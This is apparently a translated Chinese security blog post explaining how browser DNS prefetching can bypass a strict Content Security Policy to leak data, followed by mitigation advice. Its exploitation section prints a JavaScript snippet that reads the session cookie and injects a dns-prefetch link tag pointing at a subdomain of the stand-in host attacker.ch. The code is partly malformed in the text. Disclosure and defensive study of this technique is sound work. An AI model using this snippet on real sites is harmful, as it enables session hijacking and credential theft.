介绍
内容安全策略(CSP)是目前最主要的web安全保护机制之一,这个功能可以有效地帮助管理员降低网站遭受跨站脚本攻击(XSS)和代码注入攻击的可能性。内容安全策略可以让扩展程序在默认情况下变得更加安全,开发者可以创建并强制部署一些安全管理规则,并规定网站可以获取或加载的内容。
内容安全策略以白名单的机制来管理网站加载或执行的资源。在网页中,这样的策略是通过 HTTP 头信息或者 meta 元素来定义的。内容安全策略虽然提供了强大的安全保护,但是它也造成了如下的一些问题:Eval及相关函数被禁用、内嵌的javascript代码无法得到执行、以及只能通过白名单来加载远程脚本。这些问题阻碍了内容安全策略的普及,如果想要使用内容管理策略来保护自己的网站,开发者就不得不花费大量时间去分离内嵌的JavaScript代码并对网站作出调整。
需要注意的是,虽然这个功能可以防止攻击者从外部网站来跨域加载恶意代码,但是内容安全策略并不是一种用来防止数据发生泄漏的技术。目前有很多安全研究专家已经提出了各种各样的技术来绕过内容安全策略,并从目标网站中提取出所需数据。在这篇文章中,我们将主要讨论如何利用DNS预读取机制来绕过内容安全策略并提取数据。如果你还想了解更多关于内容安全策略的信息,请参阅我们之前所发表的文章[文章链接]或访问CSP官方网站[传送门]。浏览器的DNS预读取机制
浏览器是我们通向互联网世界的大门,而为了让用户获取最佳的上网体验,我们就要尽可能地保证用户的上网速度。因此,网络中每一秒所发生的事情都至关重要。为了实现这个目标,目前较为有效的方法就是浏览器所采用的DNS预读取技术。这项技术的关键之处在于,系统会预先将主机的域名解析为对应的IP地址,然后再将这部分数据缓存已备之后使用。浏览器可以从接收到的页面内容中获取到预解析的主机名称,这样就可以帮助用户节省大量的时间了。
为了管理浏览器的DNS自动预读取功能,我们将需要使用HTTP Header中的“X-DNS-Prefetch-Control”属性[参考资料1][参考资料2]:
x-dns-prefetch-control: off
这个Header属性有两个值:即“on”或者“off”。默认情况下,如果我们没有专门设置这个属性值的话,使用HTTP协议的页面将会默认启用DNS自动预读取功能,而使用HTTPS进行传输的网页则无法使用该功能。除此之外,开发人员也可以通过在浏览器中使用标签来指定需要进行预解析操作的主机名。比如说,下面这个标签将会让浏览器对域名compass-security.com执行DNS预读取:
link rel=”dns-prefetch” href=”compass-security.com”>
漏洞利用
毫无疑问,这项技术确实可以大大降低浏览器加载某些网页所需的时间。但是与此同时,这个功能也将允许攻击者绕过内容安全策略并从浏览器中提取出类似会话cookie以及用户凭证这样的重要数据。接下来,我将会给大家介绍这种攻击技术的实现机制。
请你设想下面这种场景:
攻击者在某个Web应用中发现了一个XSS漏洞,他可以利用这个漏洞来向目标Web应用注入某些恶意的JavaScript代码。但是在内容安全策略的保护下,攻击者无法向他所控制的外部服务器发送任何的数据,所以他也就无法获取到用户的隐私数据了。这个Web应用所设置的内容安全策略非常严格,具体如下所示:
Content-Security-Policy: default-src 'none'; script-src 'self'
从上面这段命令中我们可以看到,这个Web应用所设置的内容安全策略只允许网站加载来自内部的脚本资源。
但是在DNS自动预读取机制的帮助下,攻击者就可以将他所需要获取的数据包含在有效的DNS域名内,并通过这样的方法来绕过内容安全策略的限制。比如说,会话cookie的值为“abcd1234”,这个值将会与域名进行组合,即转换成“abcd1234.attacker.ch”这种形式,而这个值可以通过下面这个标签来插入至页面的DOM对象中:
link rel="dns-prefetch" href="//abcd1234.attacker.ch">
接下来,攻击者就可以使用下面这段JavaScript代码来将上面这个标签注入至目标页面:
var sessionid = document.cookie.split('=')[1]+".";var body = document.getElementsByTagName('body')[0];
// injecting the link tag in the HTML body force the browser
// to prefetch the given domain
body.innerHTML = body.innerHTML + "
href=\"//" + sessionid + "attacker.ch\">";
执行完上面这段JavaScript代码之后,浏览器便会开始进行DNS预读取操作,此时域名“abcd1234.attacker.ch”将会被解析。接下来,攻击者只需要在他的DNS服务器中记录下这些DNS请求,然后再从中读取出泄漏信息就可以了。获取到的信息如下图所示:
总结与缓解措施
这种攻击方法也暴露出了目前内容安全策略的缺点和局限性,因为它并没有考虑到DNS预读取机制中潜在的数据泄漏问题。在与CSP的制定者进行了沟通之后我们了解到,数据泄漏问题从来都不是这个项目的主要考虑因素,设计这个功能的目的主要是为了防止跨站脚本攻击(XSS)。
目前,对于这种以DNS预读取机制为载体的攻击方法,我们还没有相应的应对策略。需要注意的是,火狐浏览器是目前唯一一款允许通过“X-DNS-Prefetch-Control ”header属性来禁用DNS预读取功能的浏览器。
虽然内容管理策略还存在很多的问题,但是我们仍然建议并鼓励大家使用内容管理策略。出于安全方面的考虑,我们也建议大家一定要对用户的输入进行严格的验证,并且对网站的输出数据进行加密或者编码。从某种程度上来说,这些做法可以将很多安全问题消灭在萌芽状态。